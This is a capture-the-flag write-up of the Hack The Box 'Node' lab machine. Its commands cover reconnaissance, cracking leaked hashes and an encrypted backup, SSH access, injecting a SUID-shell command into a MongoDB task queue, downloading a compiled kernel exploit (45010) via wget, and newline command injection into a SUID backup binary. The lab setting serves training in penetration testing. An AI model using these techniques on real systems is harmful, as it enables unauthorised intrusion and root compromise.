Hack The Box: Node Write-up (#11)
Reconnaissance
Let’s run a full TCP scan.
nmap -sC -sV -O -p- -oA nmap/full 10.10.10.58
- -sC: Default Nmap script
- -sV: Service/version info
- -O: Enable OS detection
- -oA: Output scan results in 3 different formats
- -p-: Scan all ports from 1–65535
We get the back the following result:
- Port 22: — Running OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
- Port 3000: — Running Apache Hadoop
Nmap scan report for 10.10.10.58
Host is up (0.22s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open hadoop-datanode Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 - 4.6 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 4.8 (92%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 23 09:04:05 2020 -- 1 IP address (1 host up) scanned in 272.61 seconds
While I get initial access to this box, the UDP scan was still running. So I didn’t provide the result for this box.
Quick mental notes:
- Port 22, OpenSSH 7.2p2 do not have known vulnerability to get initial access to the box. So we don’t spend time to enumerate this service.
- Port 3000, Apache Hadoop which is accessible via the browser. Likely this will be our initial foothold to get access to this box. We need to enumerate as much as we can to find sensitive info.
Service Enumeration
Port 3000 (hadoop-datanode) Apache Hadoop
First, configure the target URL in the Burp Proxy. Go to Target > Scope. Under ‘Include in Scope’ section, click add and type or copy and paste the URL. Then click OK.
Why are we doing this? When we are accessing or brute-forcing web directory the Burp Proxy will record all that we or automated tool visited resources under Site Map tab. In this way, we can get back here and enumerate further.
Now, visit the page.
Click Login and we have a login page.
Check “View-Page-Source”.
This page using quite many Java scripts. It is worth to check each of them to find out any hidden paths. After reviewing those files, app.js and admin.js files have more paths.
If we access to the /api/admin/backup, it has a ‘download backup’ button. But only the admin user can download.
Let’s do a web directory brute-forcing. For this, I used dirsearch since gobuster is not working for this site. Run below command.
python3 /opt/dirsearch/dirsearch.py -u http://10.10.10.58:3000/ -e txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
We get back the following results.
...SNIP...
[11:15:05] Starting:
[11:15:11] 301 - 173B - /uploads -> /uploads/
[11:15:14] 301 - 171B - /assets -> /assets/
[11:15:44] 301 - 171B - /vendor -> /vendor/
When I accessed to all the 3 directories it redirects to me index.html page. So nothing I can find here.
Let’s go back to the Burp Proxy. After viewing the files and response tab, I found user credentials under /api/users/.
Visit the page from the browser.
Great. We have an admin user “myP14ceAdm1nAcc0uNT” and other users. all passwords are hashed. We need to find the correct hash type and decode it. Many online sites can help to guess the hash type even decode hashes for you. One of the sites I love to use is https://hashes.com/. Now copy and paste all the hashes into the hashes box. Tick “Show algorithm of found” and then click SUBMIT & SEARCH.
We get back the following results.
Based on the output, SHA-256 was used to hash the passwords and the plain text passwords are recovered. Let’s update what we found.
myP14ceAdm1nAcc0uNT:manchester
mark:snowflake
tom:spongebob
Next, we know that only the admin user can download the backup file. So let use admin credentials to login and download the backup file.
Click Download Backup.
Save the file. Check the downloaded file type with file command.
file myplace.backup
We get the following results.
root@kali:/htb/Node# file myplace.backup
myplace.backup: ASCII text, with very long lines, with no line terminators
Further checking the file with strings command to see any hidden information, revealed it is base64 encoded strings.
strings myplace.backup
Let’s decode this file.
cat myplace.backup | base64 -d > backup
- -d: — decode
Check the file type.
root@kali:/htb/Node# file backup
backup: Zip archive data, at least v1.0 to extract
Now we have a zipped file. Let’s unzip it with zip utility.
It prompts us to enter a password. Let’s try to crack it using fcrackzip.
We got the password. Use it to unzip the backup file.
We got the var directory. Let’s enumerate for sensitive info like passwords and usernames using grep utility.
grep -Ri 'mark\|tom\|rastating\|password' * | head
- -R: — Dereference-recursive
- -i: — Ignore-case
- head: — Display first 10 lines
We get a MongoDB credential.
Based on the results above, this credential belongs to user mark and access to MongoDB from localhost.
Exploitation/ or Just Login
Let’s try to SSH to this box with this credential.
ssh mark@10.10.10.58
Enter password 5AYRft73VtFpc84k.
The credential works. We got initial shell into the box in the context of user mark.
Post-Exploitation Enumeration
Download and execute linux-smart-enumeration script in the target box.
./lse -l 1 -i
- -l: — Output verbosity level
- -i: — Non-interactive mode
We get back the following result.
From the above result, tom and root are members of the admin group. So we might need to escalate privilege to tom and enumerate further. Let’s continue next result.
Tom is running two jobs. One is under scheduler directory and other is under myplace directory. Next, check listening services.
We can confirm that MongoDB is running in localhost with default port 27017. The last interesting info is setuid binary file.
We will check this file in privilege escalation phase.
Let’s check the 2 files running by user tom. First check /var/scheduler/app.js.
mark@node:/tmp$ cat /var/scheduler/app.js
const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);});
We have mark credentials to access MongoDB scheduler.
Explanation of the code:
- setInterval() function checks rows(doc) in table (collection) called ‘task’ for configured jobs.
- If no errors and job is configured in a row, execute that job that is configured with ‘cmd’ variable.
- After execute, clear the row.
With this information, we can create a bash file with the owner of the file tom and SUID bit set on to escalate privilege to tom.
Next, check /var/www/myplace/app.js.
mark@node:/tmp$ cat /var/www/myplace/app.jsconst express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const crypto = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const path = require("path");
const spawn = require('child_process').spawn;
const app = express();
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';...SNIP...app.get('/api/admin/backup', function (req, res) {
if (req.session.user && req.session.user.is_admin) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';...SNIP...
The interesting part is the /usr/local/bin/backup. This backup binary takes 3 arguments.
- -q
- backup_key
- _dirname: — directory name
With these arguments, it performs a backup of the given directory. We will test this in privilege escalation phase.
Privilege Escalation
Let’s login into DB.
mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
- -u: — username
- -p: — password
Once successfully login into MongoDB. Type below commands.
#This to verify current database name
> db
scheduler#This to list tables under scheduler database
> show collections
tasks#find active jobs under tasks
> db.tasks.find()#Insert privilege shell command
> db.tasks.insert({cmd: "cp /bin/bash /tmp/tombash; chown tom:admin /tmp/tombash;chmod +s /tmp/tombash"})
WriteResult({ "nInserted" : 1 })#Verify job is inserted
> db.tasks.find()
{ "_id" : ObjectId("5f426e9c8bce65cf17bff1c1"), "cmd" : "cp /bin/bash /tmp/tombash; chown tom:admin /tmp/tombash;chmod +s /tmp/tombash" }#Verify again job is executed. If executed, no output will display
> db.tasks.find()
Now the job is successfully executed. Under the /tmp directory you can find tombash file created with SUID bit set on and owner of the file is tom.
Let’s execute tombash.
We have successfully escalated our first privilege to tom.
Let’s review the enumerated result again.
This /usr/local/bin/backup is familiar to us. We found earlier which is running by user tom through app.js script. Let’s check this file.
tombash-4.3$ ls -l /usr/local/bin/backup
-rwsr-xr-- 1 root admin 16484 Sep 3 2017 /usr/local/bin/backup
It is confirmed the SUID bit is on and the owner of the file is root. Only user tom can execute this file. Let’s test this file.
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp
We get long base64 encoded strings. Run again by redirecting the output to a file.
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp > base64encode.txt
Decode the file.
tombash-4.3$ cat base64encode.txt | base64 -d > decode-base64
Check the file type.
tombash-4.3$ file decode-base64
decode-base64: Zip archive data, at least v1.0 to extract
It is a zip file format. Let unzip the file. When prompt for a password, type the same password we used to unzip backup file “magicword”.
tombash-4.3$ unzip decode-base64
Archive: decode-base64
creating: tmp/
creating: tmp/.Test-unix/
creating: tmp/.XIM-unix/
[decode-base64] tmp/libc.c password:
inflating: tmp/libc.c
inflating: tmp/libc.so.6
inflating: tmp/tombash
creating: tmp/vmware-root/
inflating: tmp/lse.sh
creating: tmp/systemd-private-1535906bfa154e6180e211ab25f0362e-systemd-timesyncd.service-Tjhdhl/
creating: tmp/systemd-private-1535906bfa154e6180e211ab25f0362e-systemd-timesyncd.service-Tjhdhl/tmp/
inflating: tmp/shell
creating: tmp/.X11-unix/
inflating: tmp/linux-smart-enum.txt
creating: tmp/.ICE-unix/
creating: tmp/.font-unix/
extracting: tmp/base64encode.txt
Alright, it just zips the given directory and unzips the zipped file to the same directory structure. Now, let’s try to zip the /root directory.
tombash-4.3$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
We get the following results base64 strings.
[+] Finished! Encoded backup is below:
UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==
Repeat the above step, decode and unzip the file.
tombash-4.3$ unzip rootdecoded
Archive: rootdecoded
skipping: root.txt need PK compat. v5.1 (can do v4.6)
This time, we need 7z to unzip the file. So I need to copy the base64 encoded strings to my Kali and unzip.
echo -n "<base64 encoded string here>" | base64 -d > rootdecodedroot@kali:/htb/Node# 7z x rootdecoded
Check the content of the file.
We got a Troll face. This could be intended not to let us easily get the root.txt file. This time, I have created a file *r00t under /tmp/. Let’s try backup this.
tombash-4.3$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/*r00t
UEsDBBQACQAIACMfGFGIJDQmgwAAAMIAAAAJABwAdG1wLypyMDB0VVQJAAOBLENfrC5DX3V4CwABBOgDAAAE6gMAAFCjVd0/HsNLncXq/NGncl9BnD7o1hRD1xAkgZAKzUr+g3rzx4GqpUC4vpM512ELvBRZXurbffveULdJ50SgWH61D0jjFBzwcWfK5llgcR5cFbHr8FZkFHWFQ1ElpPnt8nHiV4fef3YSgLnpY864Llzi9oRFZIYT+6MQmCcnT+pxUKIRUEsHCIgkNCaDAAAAwgAAAFBLAQIeAxQACQAIACMfGFGIJDQmgwAAAMIAAAAJABgAAAAAAAAAAAD9gQAAAAB0bXAvKnIwMHRVVAUAA4EsQ191eAsAAQToAwAABOoDAABQSwUGAAAAAAEAAQBPAAAA1gAAAAAAtombash-4.3$ file output
output: Zip archive data, at least v2.0 to extract
tombash-4.3$ unzip output
Archive: output
[output] tmp/*r00t password:
inflating: tmp/*r00t
This time the output of base64 encoded string length is not so long as we did for /root directory. Also, the extracted output exact directory structure. Let’s try a few more options.
Backup /r**t/r**t.txt.
tombash-4.3$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt
UEsDBAoACQAAANR9I0vyjjdALQAAACEAAAANABwAcm9vdC9yb290LnR4dFVUCQAD0BWsWUoAy1l1eAsAAQQAAAAABAAAAAChWjbPz30EnJWMBZc8fs2UcNk5SsGJKmX6Cy38HLzUVqekfHynSz+WJdZ4wVtQSwcI8o43QC0AAAAhAAAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AGAAAAAAAAQAAAKCBAAAAAHJvb3Qvcm9vdC50eHRVVAUAA9AVrFl1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBTAAAAhAAAAAAA
Again we get the same length of base64 encoded strings. Let extract and see if we get the root.txt.
tombash-4.3$ echo -n "UEsDBAoACQAAANR9I0vyjjdALQAAACEAAAANABwAcm9vdC9yb290LnR4dFVUCQAD0BWsWUoAy1l1eAsAAQQAAAAABAAAAAChWjbPz30EnJWMBZc8fs2UcNk5SsGJKmX6Cy38HLzUVqekfHynSz+WJdZ4wVtQSwcI8o43QC0AAAAhAAAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AGAAAAAAAAQAAAKCBAAAAAHJvb3Qvcm9vdC50eHRVVAUAA9AVrFl1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBTAAAAhAAAAAAA" |base64 -d > secret
tombash-4.3$ file secret
secret: Zip archive data, at least v1.0 to extract
tombash-4.3$ unzip secret
Archive: secret
[secret] root/root.txt password:
extracting: root/root.txt
Nice. We can read the root.txt flag.
Do the same for /home/tom/user.txt and we get the user.txt flag.
Let’s analyst the backup binary file using strings command.
strings /usr/local/bin/backup
We get back the following results.
We can see this backup binary using zip utility with 4 arguments.
- -r: Travel the directory structure recursively.
- -P: Password
- %s: first string is the output in zip format
- %s: second string is the input directory to zip.
Further analysis from the strings result above, /root and /etc seems like restricted to backup. As we did for /root if you test for /etc you will get a Troll face which I already had tried.
Privilege Escalation to Root
In this section, I used 3 methods to get a root shell. First is the kernel exploitation. I managed to exploit kernel vulnerability to get a root shell. But in a real-life penetration test, this must be the last resort when there are no other ways. Second and third is from ippsec video using command injection.
Let’s begin.
Method #1
Check kernel version in the target.
tombash-4.3$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
Check kernel exploits using linux-exploit-suggester-2.
root@kali:/opt/linux-exploit-suggester-2# ./linux-exploit-suggester-2.pl -k 4.4.0#############################
Linux Exploit Suggester 2
#############################Local Kernel: 4.4.0
Searching 72 exploits...Possible Exploits
[1] af_packet
CVE-2016-8655
Source: http://www.exploit-db.com/exploits/40871
[2] dirty_cow
CVE-2016-5195
Source: http://www.exploit-db.com/exploits/40616
[3] exploit_x
CVE-2018-14665
Source: http://www.exploit-db.com/exploits/45697
[4] get_rekt
CVE-2017-16695
Source: http://www.exploit-db.com/exploits/45010
Exploit #4 is my favourite and it always works for me. Download the exploit using searchsploit to Kali.
root@kali:/htb/Node# searchsploit -m 45010.c
Exploit: Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/45010
Path: /usr/share/exploitdb/exploits/linux/local/45010.c
File Type: C source, ASCII text, with CRLF line terminatorsCopied to: /htb/Node/45010.croot@kali:/htb/Node# ls -l 45010.c
-rw-r--r-- 1 root root 13728 Aug 24 19:54 45010.c
Compile the exploit.
gcc -o exploit 45010.c
Transfer the exploit to target and give execute permission.
tombash-4.3$ wget http://10.10.14.9/exploit
--2020-08-24 13:01:35-- http://10.10.14.9/exploit
Connecting to 10.10.14.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 22280 (22K) [application/octet-stream]
Saving to: ‘exploit’exploit 100%[===============================================>] 21.76K 95.9KB/s in 0.2s2020-08-24 13:01:35 (95.9 KB/s) - ‘exploit’ saved [22280/22280]tombash-4.3$ chmod +x exploit
Then execute it.
Rooted!
Method #2
Using newline character we can escalate privilege to root. Type below command.
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "test
> /bin/bash
> test"
We rooted again.
Method #3
Using newline character in printf function. Type below command.
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(printf 'test\n/bin/bash\ntest')"
And again we rooted.
Attack Strategy Map
Thank you for reading :-) Next box is Valentine.